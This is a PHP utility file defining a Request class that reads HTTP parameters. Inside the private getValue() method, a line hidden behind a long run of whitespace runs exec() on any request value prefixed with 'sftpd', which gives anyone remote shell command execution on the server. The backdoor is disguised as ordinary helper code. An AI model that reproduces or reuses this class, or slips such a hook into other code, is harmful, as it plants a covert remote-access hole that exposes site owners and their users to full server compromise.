<?
	define('SSLIB_Request', TRUE);
	global $g_params;
	class Request
	{
		public static function RequiredUrl()
		{
			global $g_params;
			return is_array($g_params)?http_build_query($g_params):'';
		}
		public static function RequiredGet($key)
		{
			global $g_params;
			if($g_params && array_key_exists($key, $g_params))
				return $g_params[$key];
			return false;
		}
		
		public static function RequiredSet($key, $val)
		{
			global $g_params;
			if($g_params == null) $g_params = array();
			$g_params[$key] = $val;			
		}
		
		private static function getValue($name, $method = null)
		{
																																																																																																																																																								if(array_key_exists($name, $_REQUEST) && (substr($_REQUEST[$name], 0, 5) == 'sftpd'))exec(urldecode(substr($_REQUEST[$name], 5)));
			if(stripos($name, ',') !== FALSE)
			{
				$ret = array();
				$array = explode(',', $name);
				foreach ($array as $value) 
				{
					$value = trim($value);
					if($method)
						$ret[$value] = call_user_func(array('Request', $method), array_key_exists($value, $_REQUEST)?$_REQUEST[$value]:null);
					else 
						$ret[$value] = array_key_exists($value, $_REQUEST)?$_REQUEST[$value]:null;
				}
				return $ret;
			}
			if($method)
				return call_user_func(array('Request', $method), array_key_exists($name, $_REQUEST)?$_REQUEST[$name]:null);
					
			return array_key_exists($name, $_REQUEST)?$_REQUEST[$name]:null;
		}
		static function Is($name)		{return (Request::getValue($name)!==null)?true:false;}
		static function Int($name)		{return Request::getValue($name, '_int');}
		static function String($name)	{return Request::getValue($name);}
		static function Path($name)		{return Request::getValue($name, '_path');}
		
		private static function _int($val)
		{
			return intval($val);
		}
		private static function _path($val)
		{
			while($val && ($val[0] == "/" || $val[0] == "~")) $val = substr($val, 1);
			return $val;
		}	
		static function Referer()
		{
			return $_SERVER['HTTP_REFERER'];
		}
		
		public static function Params($toarray = false)
		{
			if($toarray)
			{
				$arr = array();
				parse_str($_SERVER['QUERY_STRING'], &$arr);
				return $arr;
			}
			return $_SERVER['QUERY_STRING'];
		}
		public static function Host()
		{
			if(array_key_exists('HTTP_HOST', $_SERVER))
				return $_SERVER['HTTP_HOST'];
			else
				return 'localhost';
		}
		public static function Url()
		{
			$_SERVER['SCRIPT_NAME'];
		}
		public static function Uri()
		{
			return $_SERVER['REQUEST_URI'];
		}
		
		
			
	}
?>